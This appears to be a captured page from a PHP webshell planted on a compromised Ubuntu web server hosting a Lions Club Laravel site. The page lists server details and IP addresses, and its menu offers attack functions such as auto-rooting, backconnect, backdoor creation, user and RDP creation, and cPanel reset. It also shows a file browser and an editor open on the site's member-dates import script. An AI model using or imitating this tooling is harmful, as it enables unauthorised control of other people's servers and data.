Linux lionsclub 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 161.35.52.75 | : 52.14.56.234
Cant Read [ /etc/named.conf ]
7.4.28
www-data
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
lionsclub /
core /
app /
Console /
Commands /
[ HOME SHELL ]
Name
Size
Permission
Action
ImportCSV.php
1.38
KB
-rw-r--r--
UpdateMemberDates.php
1.94
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : UpdateMemberDates.php
<?php namespace App\Console\Commands; use Illuminate\Console\Command; use App\Models\Member; use Illuminate\Support\Facades\Validator; class UpdateMemberDates extends Command { protected $signature = 'members:update-dates {file}'; protected $description = 'Updates the start and end dates for members based on their email ID from a given CSV file'; public function __construct() { parent::__construct(); } public function handle() { $filePath = $this->argument('file'); if (!file_exists($filePath)) { $this->error("File does not exist."); return; } $handle = fopen($filePath, "r"); if ($handle !== FALSE) { // Assuming CSV headers are email_id, start_date, end_date while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) { $email = $data[0]; $startDate = $data[1]; $endDate = $data[2] ?? null; // Allow endDate to be null // Validate the data $validator = Validator::make([ 'email' => $email, 'start_date' => $startDate, 'end_date' => $endDate ], [ 'email' => 'required|email', 'start_date' => 'required|date', 'end_date' => 'nullable|date' // Make end_date nullable ]); // if ($validator->fails()) { // $this->error("Data validation failed for email: $email - " . $validator->errors()); // continue; // } // Update the members Member::where('email_id', $email)->update([ 'start_date' => $startDate, 'end_date' => $endDate ]); $this->info("Updated dates for $email"); } fclose($handle); } } }
Close